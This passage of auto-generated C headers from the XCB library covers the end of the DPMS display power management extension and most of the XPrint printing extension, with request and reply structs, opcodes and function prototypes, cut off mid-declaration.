uint16_t length; } xcb_dpms_enable_request_t; /** Opcode for xcb_dpms_disable. */ #define XCB_DPMS_DISABLE 5 /** * @brief xcb_dpms_disable_request_t **/ typedef struct xcb_dpms_disable_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_dpms_disable_request_t; typedef enum xcb_dpms_dpms_mode_t { XCB_DPMS_DPMS_MODE_ON = 0, XCB_DPMS_DPMS_MODE_STANDBY = 1, XCB_DPMS_DPMS_MODE_SUSPEND = 2, XCB_DPMS_DPMS_MODE_OFF = 3 } xcb_dpms_dpms_mode_t; /** Opcode for xcb_dpms_force_level. */ #define XCB_DPMS_FORCE_LEVEL 6 /** * @brief xcb_dpms_force_level_request_t **/ typedef struct xcb_dpms_force_level_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint16_t power_level; } xcb_dpms_force_level_request_t; /** * @brief xcb_dpms_info_cookie_t **/ typedef struct xcb_dpms_info_cookie_t { unsigned int sequence; } xcb_dpms_info_cookie_t; /** Opcode for xcb_dpms_info. */ #define XCB_DPMS_INFO 7 /** * @brief xcb_dpms_info_request_t **/ typedef struct xcb_dpms_info_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_dpms_info_request_t; /** * @brief xcb_dpms_info_reply_t **/ typedef struct xcb_dpms_info_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t power_level; uint8_t state; uint8_t pad1[21]; } xcb_dpms_info_reply_t; /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dpms_get_version_cookie_t xcb_dpms_get_version (xcb_connection_t *c, uint16_t client_major_version, uint16_t client_minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dpms_get_version_cookie_t xcb_dpms_get_version_unchecked (xcb_connection_t *c, uint16_t client_major_version, uint16_t client_minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dpms_get_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dpms_get_version_reply_t * xcb_dpms_get_version_reply (xcb_connection_t *c, xcb_dpms_get_version_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dpms_capable_cookie_t xcb_dpms_capable (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dpms_capable_cookie_t xcb_dpms_capable_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dpms_capable_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dpms_capable_reply_t * xcb_dpms_capable_reply (xcb_connection_t *c, xcb_dpms_capable_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dpms_get_timeouts_cookie_t xcb_dpms_get_timeouts (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dpms_get_timeouts_cookie_t xcb_dpms_get_timeouts_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dpms_get_timeouts_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dpms_get_timeouts_reply_t * xcb_dpms_get_timeouts_reply (xcb_connection_t *c, xcb_dpms_get_timeouts_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dpms_set_timeouts_checked (xcb_connection_t *c, uint16_t standby_timeout, uint16_t suspend_timeout, uint16_t off_timeout); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dpms_set_timeouts (xcb_connection_t *c, uint16_t standby_timeout, uint16_t suspend_timeout, uint16_t off_timeout); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dpms_enable_checked (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dpms_enable (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dpms_disable_checked (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dpms_disable (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dpms_force_level_checked (xcb_connection_t *c, uint16_t power_level); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dpms_force_level (xcb_connection_t *c, uint16_t power_level); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dpms_info_cookie_t xcb_dpms_info (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dpms_info_cookie_t xcb_dpms_info_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dpms_info_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dpms_info_reply_t * xcb_dpms_info_reply (xcb_connection_t *c, xcb_dpms_info_cookie_t cookie /**< */, xcb_generic_error_t **e); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/xprint.h 0000644 00000157543 15246445047 0007047 0 ustar 00 /* * This file generated automatically from xprint.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_XPrint_API XCB XPrint API * @brief XPrint XCB Protocol Implementation. * @{ **/ #ifndef __XPRINT_H #define __XPRINT_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_XPRINT_MAJOR_VERSION 1 #define XCB_XPRINT_MINOR_VERSION 0 extern xcb_extension_t xcb_x_print_id; typedef char xcb_x_print_string8_t; /** * @brief xcb_x_print_string8_iterator_t **/ typedef struct xcb_x_print_string8_iterator_t { xcb_x_print_string8_t *data; int rem; int index; } xcb_x_print_string8_iterator_t; /** * @brief xcb_x_print_printer_t **/ typedef struct xcb_x_print_printer_t { uint32_t nameLen; uint32_t descLen; } xcb_x_print_printer_t; /** * @brief xcb_x_print_printer_iterator_t **/ typedef struct xcb_x_print_printer_iterator_t { xcb_x_print_printer_t *data; int rem; int index; } xcb_x_print_printer_iterator_t; typedef uint32_t xcb_x_print_pcontext_t; /** * @brief xcb_x_print_pcontext_iterator_t **/ typedef struct xcb_x_print_pcontext_iterator_t { xcb_x_print_pcontext_t *data; int rem; int index; } xcb_x_print_pcontext_iterator_t; typedef enum xcb_x_print_get_doc_t { XCB_X_PRINT_GET_DOC_FINISHED = 0, XCB_X_PRINT_GET_DOC_SECOND_CONSUMER = 1 } xcb_x_print_get_doc_t; typedef enum xcb_x_print_ev_mask_t { XCB_X_PRINT_EV_MASK_NO_EVENT_MASK = 0, XCB_X_PRINT_EV_MASK_PRINT_MASK = 1, XCB_X_PRINT_EV_MASK_ATTRIBUTE_MASK = 2 } xcb_x_print_ev_mask_t; typedef enum xcb_x_print_detail_t { XCB_X_PRINT_DETAIL_START_JOB_NOTIFY = 1, XCB_X_PRINT_DETAIL_END_JOB_NOTIFY = 2, XCB_X_PRINT_DETAIL_START_DOC_NOTIFY = 3, XCB_X_PRINT_DETAIL_END_DOC_NOTIFY = 4, XCB_X_PRINT_DETAIL_START_PAGE_NOTIFY = 5, XCB_X_PRINT_DETAIL_END_PAGE_NOTIFY = 6 } xcb_x_print_detail_t; typedef enum xcb_x_print_attr_t { XCB_X_PRINT_ATTR_JOB_ATTR = 1, XCB_X_PRINT_ATTR_DOC_ATTR = 2, XCB_X_PRINT_ATTR_PAGE_ATTR = 3, XCB_X_PRINT_ATTR_PRINTER_ATTR = 4, XCB_X_PRINT_ATTR_SERVER_ATTR = 5, XCB_X_PRINT_ATTR_MEDIUM_ATTR = 6, XCB_X_PRINT_ATTR_SPOOLER_ATTR = 7 } xcb_x_print_attr_t; /** * @brief xcb_x_print_print_query_version_cookie_t **/ typedef struct xcb_x_print_print_query_version_cookie_t { unsigned int sequence; } xcb_x_print_print_query_version_cookie_t; /** Opcode for xcb_x_print_print_query_version. */ #define XCB_X_PRINT_PRINT_QUERY_VERSION 0 /** * @brief xcb_x_print_print_query_version_request_t **/ typedef struct xcb_x_print_print_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_x_print_print_query_version_request_t; /** * @brief xcb_x_print_print_query_version_reply_t **/ typedef struct xcb_x_print_print_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t major_version; uint16_t minor_version; } xcb_x_print_print_query_version_reply_t; /** * @brief xcb_x_print_print_get_printer_list_cookie_t **/ typedef struct xcb_x_print_print_get_printer_list_cookie_t { unsigned int sequence; } xcb_x_print_print_get_printer_list_cookie_t; /** Opcode for xcb_x_print_print_get_printer_list. */ #define XCB_X_PRINT_PRINT_GET_PRINTER_LIST 1 /** * @brief xcb_x_print_print_get_printer_list_request_t **/ typedef struct xcb_x_print_print_get_printer_list_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t printerNameLen; uint32_t localeLen; } xcb_x_print_print_get_printer_list_request_t; /** * @brief xcb_x_print_print_get_printer_list_reply_t **/ typedef struct xcb_x_print_print_get_printer_list_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t listCount; uint8_t pad1[20]; } xcb_x_print_print_get_printer_list_reply_t; /** Opcode for xcb_x_print_print_rehash_printer_list. */ #define XCB_X_PRINT_PRINT_REHASH_PRINTER_LIST 20 /** * @brief xcb_x_print_print_rehash_printer_list_request_t **/ typedef struct xcb_x_print_print_rehash_printer_list_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_x_print_print_rehash_printer_list_request_t; /** Opcode for xcb_x_print_create_context. */ #define XCB_X_PRINT_CREATE_CONTEXT 2 /** * @brief xcb_x_print_create_context_request_t **/ typedef struct xcb_x_print_create_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context_id; uint32_t printerNameLen; uint32_t localeLen; } xcb_x_print_create_context_request_t; /** Opcode for xcb_x_print_print_set_context. */ #define XCB_X_PRINT_PRINT_SET_CONTEXT 3 /** * @brief xcb_x_print_print_set_context_request_t **/ typedef struct xcb_x_print_print_set_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context; } xcb_x_print_print_set_context_request_t; /** * @brief xcb_x_print_print_get_context_cookie_t **/ typedef struct xcb_x_print_print_get_context_cookie_t { unsigned int sequence; } xcb_x_print_print_get_context_cookie_t; /** Opcode for xcb_x_print_print_get_context. */ #define XCB_X_PRINT_PRINT_GET_CONTEXT 4 /** * @brief xcb_x_print_print_get_context_request_t **/ typedef struct xcb_x_print_print_get_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_x_print_print_get_context_request_t; /** * @brief xcb_x_print_print_get_context_reply_t **/ typedef struct xcb_x_print_print_get_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t context; } xcb_x_print_print_get_context_reply_t; /** Opcode for xcb_x_print_print_destroy_context. */ #define XCB_X_PRINT_PRINT_DESTROY_CONTEXT 5 /** * @brief xcb_x_print_print_destroy_context_request_t **/ typedef struct xcb_x_print_print_destroy_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t context; } xcb_x_print_print_destroy_context_request_t; /** * @brief xcb_x_print_print_get_screen_of_context_cookie_t **/ typedef struct xcb_x_print_print_get_screen_of_context_cookie_t { unsigned int sequence; } xcb_x_print_print_get_screen_of_context_cookie_t; /** Opcode for xcb_x_print_print_get_screen_of_context. */ #define XCB_X_PRINT_PRINT_GET_SCREEN_OF_CONTEXT 6 /** * @brief xcb_x_print_print_get_screen_of_context_request_t **/ typedef struct xcb_x_print_print_get_screen_of_context_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_x_print_print_get_screen_of_context_request_t; /** * @brief xcb_x_print_print_get_screen_of_context_reply_t **/ typedef struct xcb_x_print_print_get_screen_of_context_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; xcb_window_t root; } xcb_x_print_print_get_screen_of_context_reply_t; /** Opcode for xcb_x_print_print_start_job. */ #define XCB_X_PRINT_PRINT_START_JOB 7 /** * @brief xcb_x_print_print_start_job_request_t **/ typedef struct xcb_x_print_print_start_job_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t output_mode; } xcb_x_print_print_start_job_request_t; /** Opcode for xcb_x_print_print_end_job. */ #define XCB_X_PRINT_PRINT_END_JOB 8 /** * @brief xcb_x_print_print_end_job_request_t **/ typedef struct xcb_x_print_print_end_job_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t cancel; } xcb_x_print_print_end_job_request_t; /** Opcode for xcb_x_print_print_start_doc. */ #define XCB_X_PRINT_PRINT_START_DOC 9 /** * @brief xcb_x_print_print_start_doc_request_t **/ typedef struct xcb_x_print_print_start_doc_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t driver_mode; } xcb_x_print_print_start_doc_request_t; /** Opcode for xcb_x_print_print_end_doc. */ #define XCB_X_PRINT_PRINT_END_DOC 10 /** * @brief xcb_x_print_print_end_doc_request_t **/ typedef struct xcb_x_print_print_end_doc_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t cancel; } xcb_x_print_print_end_doc_request_t; /** Opcode for xcb_x_print_print_put_document_data. */ #define XCB_X_PRINT_PRINT_PUT_DOCUMENT_DATA 11 /** * @brief xcb_x_print_print_put_document_data_request_t **/ typedef struct xcb_x_print_print_put_document_data_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t len_data; uint16_t len_fmt; uint16_t len_options; } xcb_x_print_print_put_document_data_request_t; /** * @brief xcb_x_print_print_get_document_data_cookie_t **/ typedef struct xcb_x_print_print_get_document_data_cookie_t { unsigned int sequence; } xcb_x_print_print_get_document_data_cookie_t; /** Opcode for xcb_x_print_print_get_document_data. */ #define XCB_X_PRINT_PRINT_GET_DOCUMENT_DATA 12 /** * @brief xcb_x_print_print_get_document_data_request_t **/ typedef struct xcb_x_print_print_get_document_data_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint32_t max_bytes; } xcb_x_print_print_get_document_data_request_t; /** * @brief xcb_x_print_print_get_document_data_reply_t **/ typedef struct xcb_x_print_print_get_document_data_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t status_code; uint32_t finished_flag; uint32_t dataLen; uint8_t pad1[12]; } xcb_x_print_print_get_document_data_reply_t; /** Opcode for xcb_x_print_print_start_page. */ #define XCB_X_PRINT_PRINT_START_PAGE 13 /** * @brief xcb_x_print_print_start_page_request_t **/ typedef struct xcb_x_print_print_start_page_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; } xcb_x_print_print_start_page_request_t; /** Opcode for xcb_x_print_print_end_page. */ #define XCB_X_PRINT_PRINT_END_PAGE 14 /** * @brief xcb_x_print_print_end_page_request_t **/ typedef struct xcb_x_print_print_end_page_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint8_t cancel; uint8_t pad0[3]; } xcb_x_print_print_end_page_request_t; /** Opcode for xcb_x_print_print_select_input. */ #define XCB_X_PRINT_PRINT_SELECT_INPUT 15 /** * @brief xcb_x_print_print_select_input_request_t **/ typedef struct xcb_x_print_print_select_input_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint32_t event_mask; } xcb_x_print_print_select_input_request_t; /** * @brief xcb_x_print_print_input_selected_cookie_t **/ typedef struct xcb_x_print_print_input_selected_cookie_t { unsigned int sequence; } xcb_x_print_print_input_selected_cookie_t; /** Opcode for xcb_x_print_print_input_selected. */ #define XCB_X_PRINT_PRINT_INPUT_SELECTED 16 /** * @brief xcb_x_print_print_input_selected_request_t **/ typedef struct xcb_x_print_print_input_selected_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; } xcb_x_print_print_input_selected_request_t; /** * @brief xcb_x_print_print_input_selected_reply_t **/ typedef struct xcb_x_print_print_input_selected_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t event_mask; uint32_t all_events_mask; } xcb_x_print_print_input_selected_reply_t; /** * @brief xcb_x_print_print_get_attributes_cookie_t **/ typedef struct xcb_x_print_print_get_attributes_cookie_t { unsigned int sequence; } xcb_x_print_print_get_attributes_cookie_t; /** Opcode for xcb_x_print_print_get_attributes. */ #define XCB_X_PRINT_PRINT_GET_ATTRIBUTES 17 /** * @brief xcb_x_print_print_get_attributes_request_t **/ typedef struct xcb_x_print_print_get_attributes_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint8_t pool; uint8_t pad0[3]; } xcb_x_print_print_get_attributes_request_t; /** * @brief xcb_x_print_print_get_attributes_reply_t **/ typedef struct xcb_x_print_print_get_attributes_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t stringLen; uint8_t pad1[20]; } xcb_x_print_print_get_attributes_reply_t; /** * @brief xcb_x_print_print_get_one_attributes_cookie_t **/ typedef struct xcb_x_print_print_get_one_attributes_cookie_t { unsigned int sequence; } xcb_x_print_print_get_one_attributes_cookie_t; /** Opcode for xcb_x_print_print_get_one_attributes. */ #define XCB_X_PRINT_PRINT_GET_ONE_ATTRIBUTES 19 /** * @brief xcb_x_print_print_get_one_attributes_request_t **/ typedef struct xcb_x_print_print_get_one_attributes_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint32_t nameLen; uint8_t pool; uint8_t pad0[3]; } xcb_x_print_print_get_one_attributes_request_t; /** * @brief xcb_x_print_print_get_one_attributes_reply_t **/ typedef struct xcb_x_print_print_get_one_attributes_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t valueLen; uint8_t pad1[20]; } xcb_x_print_print_get_one_attributes_reply_t; /** Opcode for xcb_x_print_print_set_attributes. */ #define XCB_X_PRINT_PRINT_SET_ATTRIBUTES 18 /** * @brief xcb_x_print_print_set_attributes_request_t **/ typedef struct xcb_x_print_print_set_attributes_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint32_t stringLen; uint8_t pool; uint8_t rule; uint8_t pad0[2]; } xcb_x_print_print_set_attributes_request_t; /** * @brief xcb_x_print_print_get_page_dimensions_cookie_t **/ typedef struct xcb_x_print_print_get_page_dimensions_cookie_t { unsigned int sequence; } xcb_x_print_print_get_page_dimensions_cookie_t; /** Opcode for xcb_x_print_print_get_page_dimensions. */ #define XCB_X_PRINT_PRINT_GET_PAGE_DIMENSIONS 21 /** * @brief xcb_x_print_print_get_page_dimensions_request_t **/ typedef struct xcb_x_print_print_get_page_dimensions_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; } xcb_x_print_print_get_page_dimensions_request_t; /** * @brief xcb_x_print_print_get_page_dimensions_reply_t **/ typedef struct xcb_x_print_print_get_page_dimensions_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t width; uint16_t height; uint16_t offset_x; uint16_t offset_y; uint16_t reproducible_width; uint16_t reproducible_height; } xcb_x_print_print_get_page_dimensions_reply_t; /** * @brief xcb_x_print_print_query_screens_cookie_t **/ typedef struct xcb_x_print_print_query_screens_cookie_t { unsigned int sequence; } xcb_x_print_print_query_screens_cookie_t; /** Opcode for xcb_x_print_print_query_screens. */ #define XCB_X_PRINT_PRINT_QUERY_SCREENS 22 /** * @brief xcb_x_print_print_query_screens_request_t **/ typedef struct xcb_x_print_print_query_screens_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_x_print_print_query_screens_request_t; /** * @brief xcb_x_print_print_query_screens_reply_t **/ typedef struct xcb_x_print_print_query_screens_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t listCount; uint8_t pad1[20]; } xcb_x_print_print_query_screens_reply_t; /** * @brief xcb_x_print_print_set_image_resolution_cookie_t **/ typedef struct xcb_x_print_print_set_image_resolution_cookie_t { unsigned int sequence; } xcb_x_print_print_set_image_resolution_cookie_t; /** Opcode for xcb_x_print_print_set_image_resolution. */ #define XCB_X_PRINT_PRINT_SET_IMAGE_RESOLUTION 23 /** * @brief xcb_x_print_print_set_image_resolution_request_t **/ typedef struct xcb_x_print_print_set_image_resolution_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; uint16_t image_resolution; } xcb_x_print_print_set_image_resolution_request_t; /** * @brief xcb_x_print_print_set_image_resolution_reply_t **/ typedef struct xcb_x_print_print_set_image_resolution_reply_t { uint8_t response_type; uint8_t status; uint16_t sequence; uint32_t length; uint16_t previous_resolutions; } xcb_x_print_print_set_image_resolution_reply_t; /** * @brief xcb_x_print_print_get_image_resolution_cookie_t **/ typedef struct xcb_x_print_print_get_image_resolution_cookie_t { unsigned int sequence; } xcb_x_print_print_get_image_resolution_cookie_t; /** Opcode for xcb_x_print_print_get_image_resolution. */ #define XCB_X_PRINT_PRINT_GET_IMAGE_RESOLUTION 24 /** * @brief xcb_x_print_print_get_image_resolution_request_t **/ typedef struct xcb_x_print_print_get_image_resolution_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_x_print_pcontext_t context; } xcb_x_print_print_get_image_resolution_request_t; /** * @brief xcb_x_print_print_get_image_resolution_reply_t **/ typedef struct xcb_x_print_print_get_image_resolution_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t image_resolution; } xcb_x_print_print_get_image_resolution_reply_t; /** Opcode for xcb_x_print_notify. */ #define XCB_X_PRINT_NOTIFY 0 /** * @brief xcb_x_print_notify_event_t **/ typedef struct xcb_x_print_notify_event_t { uint8_t response_type; uint8_t detail; uint16_t sequence; xcb_x_print_pcontext_t context; uint8_t cancel; } xcb_x_print_notify_event_t; /** Opcode for xcb_x_print_attribut_notify. */ #define XCB_X_PRINT_ATTRIBUT_NOTIFY 1 /** * @brief xcb_x_print_attribut_notify_event_t **/ typedef struct xcb_x_print_attribut_notify_event_t { uint8_t response_type; uint8_t detail; uint16_t sequence; xcb_x_print_pcontext_t context; } xcb_x_print_attribut_notify_event_t; /** Opcode for xcb_x_print_bad_context. */ #define XCB_X_PRINT_BAD_CONTEXT 0 /** * @brief xcb_x_print_bad_context_error_t **/ typedef struct xcb_x_print_bad_context_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_x_print_bad_context_error_t; /** Opcode for xcb_x_print_bad_sequence. */ #define XCB_X_PRINT_BAD_SEQUENCE 1 /** * @brief xcb_x_print_bad_sequence_error_t **/ typedef struct xcb_x_print_bad_sequence_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_x_print_bad_sequence_error_t; /** * Get the next element of the iterator * @param i Pointer to a xcb_x_print_string8_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_x_print_string8_t) */ void xcb_x_print_string8_next (xcb_x_print_string8_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_x_print_string8_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_x_print_string8_end (xcb_x_print_string8_iterator_t i); int xcb_x_print_printer_serialize (void **_buffer, const xcb_x_print_printer_t *_aux, const xcb_x_print_string8_t *name, const xcb_x_print_string8_t *description); int xcb_x_print_printer_unserialize (const void *_buffer, xcb_x_print_printer_t **_aux); int xcb_x_print_printer_sizeof (const void *_buffer); xcb_x_print_string8_t * xcb_x_print_printer_name (const xcb_x_print_printer_t *R); int xcb_x_print_printer_name_length (const xcb_x_print_printer_t *R); xcb_generic_iterator_t xcb_x_print_printer_name_end (const xcb_x_print_printer_t *R); xcb_x_print_string8_t * xcb_x_print_printer_description (const xcb_x_print_printer_t *R); int xcb_x_print_printer_description_length (const xcb_x_print_printer_t *R); xcb_generic_iterator_t xcb_x_print_printer_description_end (const xcb_x_print_printer_t *R); /** * Get the next element of the iterator * @param i Pointer to a xcb_x_print_printer_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_x_print_printer_t) */ void xcb_x_print_printer_next (xcb_x_print_printer_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_x_print_printer_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_x_print_printer_end (xcb_x_print_printer_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_x_print_pcontext_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_x_print_pcontext_t) */ void xcb_x_print_pcontext_next (xcb_x_print_pcontext_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_x_print_pcontext_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_x_print_pcontext_end (xcb_x_print_pcontext_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_query_version_cookie_t xcb_x_print_print_query_version (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_query_version_cookie_t xcb_x_print_print_query_version_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_query_version_reply_t * xcb_x_print_print_query_version_reply (xcb_connection_t *c, xcb_x_print_print_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_x_print_print_get_printer_list_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_printer_list_cookie_t xcb_x_print_print_get_printer_list (xcb_connection_t *c, uint32_t printerNameLen, uint32_t localeLen, const xcb_x_print_string8_t *printer_name, const xcb_x_print_string8_t *locale); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_printer_list_cookie_t xcb_x_print_print_get_printer_list_unchecked (xcb_connection_t *c, uint32_t printerNameLen, uint32_t localeLen, const xcb_x_print_string8_t *printer_name, const xcb_x_print_string8_t *locale); int xcb_x_print_print_get_printer_list_printers_length (const xcb_x_print_print_get_printer_list_reply_t *R); xcb_x_print_printer_iterator_t xcb_x_print_print_get_printer_list_printers_iterator (const xcb_x_print_print_get_printer_list_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_printer_list_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_printer_list_reply_t * xcb_x_print_print_get_printer_list_reply (xcb_connection_t *c, xcb_x_print_print_get_printer_list_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_rehash_printer_list_checked (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_rehash_printer_list (xcb_connection_t *c); int xcb_x_print_create_context_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_create_context_checked 